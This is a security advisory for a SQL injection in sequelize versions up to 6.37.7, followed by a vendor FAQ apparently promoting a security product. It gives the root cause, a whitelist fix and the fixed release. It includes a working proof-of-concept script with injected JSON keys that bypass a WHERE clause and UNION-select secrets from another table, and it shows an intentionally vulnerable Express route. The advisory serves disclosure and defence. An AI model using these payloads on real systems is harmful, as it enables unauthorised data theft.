CVE-2026-30951

SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table.

Affected: v6.x through 6.37.7. v7 (@sequelize/core) is not affected.

Details

In src/dialects/abstract/query-generator.js, _traverseJSON() extracts a cast type from :: in JSON keys without validation:

// line 1892
_traverseJSON(items, baseKey, prop, item, path) {
    let cast;
    if (path[path.length - 1].includes("::")) {
      const tmp = path[path.length - 1].split("::");
      cast = tmp[1];       // attacker-controlled, no escaping
      path[path.length - 1] = tmp[0];
    }
    // ...
    items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item }));
}

_castKey() (line 1925) passes it to Utils.Cast, and handleSequelizeMethod() (line 1692) interpolates it directly:

return `CAST(${result} AS ${smth.type.toUpperCase()})`;

JSON path values are escaped via this.escape() in jsonPathExtractionQuery(), but the cast type is not.

Suggested fix, whitelist known SQL data types:

const ALLOWED_CAST_TYPES = new Set([
  'integer', 'text', 'real', 'numeric', 'boolean', 'date',
  'timestamp', 'timestamptz', 'json', 'jsonb', 'float',
  'double precision', 'bigint', 'smallint', 'varchar', 'char',
]);

if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) {
  throw new Error(`Invalid cast type: ${cast}`);
}

PoC

npm install [email protected] sqlite3

const { Sequelize, DataTypes } = require('sequelize');

async function main() {
  const sequelize = new Sequelize('sqlite::memory:', { logging: false });

  const User = sequelize.define('User', {
    username: DataTypes.STRING,
    metadata: DataTypes.JSON,
  });

  const Secret = sequelize.define('Secret', {
    key: DataTypes.STRING,
    value: DataTypes.STRING,
  });

  await sequelize.sync({ force: true });

  await User.bulkCreate([
    { username: 'alice', metadata: { role: 'admin', level: 10 } },
    { username: 'bob',   metadata: { role: 'user',  level: 5 } },
    { username: 'charlie', metadata: { role: 'user', level: 1 } },
  ]);

  await Secret.bulkCreate([
    { key: 'api_key', value: 'sk-secret-12345' },
    { key: 'db_password', value: 'super_secret_password' },
  ]);

  // TEST 1: WHERE clause bypass
  const r1 = await User.findAll({
    where: { metadata: { 'role::text) or 1=1--': 'anything' } },
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('OR 1=1:', r1.map(u => u.username));
  // Returns ALL rows: ['alice', 'bob', 'charlie']

  // TEST 2: UNION-based cross-table exfiltration
  const r2 = await User.findAll({
    where: {
      metadata: {
        'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x'
      }
    },
    raw: true,
    logging: (sql) => console.log('SQL:', sql),
  });
  console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`));
  // Returns: api_key=sk-secret-12345, db_password=super_secret_password
}

main().catch(console.error);

Output:

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything';
OR 1=1: [ 'alice', 'bob', 'charlie' ]

SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt`
  FROM `Users` AS `User`
  WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0
  UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x';
UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ]

SQL Injection (CWE-89), Any application that passes user-controlled objects as where clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB).

A common vulnerable pattern:

app.post('/api/users/search', async (req, res) => {
  const users = await User.findAll({
    where: { metadata: req.body.filter }  // user controls JSON object keys
  });
  res.json(users);
});

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2026-30951 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.37.8); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-30951? CVE-2026-30951 is a high-severity SQL injection vulnerability in sequelize (npm), affecting versions >= 6.0.0-beta.1, <= 6.37.7. It is fixed in 6.37.8. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2026-30951? CVE-2026-30951 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of sequelize are affected by CVE-2026-30951? sequelize (npm) versions >= 6.0.0-beta.1, <= 6.37.7 is affected.
4. Is there a fix for CVE-2026-30951? Yes. CVE-2026-30951 is fixed in 6.37.8. Upgrade to this version or later.
5. Is CVE-2026-30951 exploitable, and should I be worried? Whether CVE-2026-30951 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-30951 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-30951? Upgrade sequelize to 6.37.8 or later.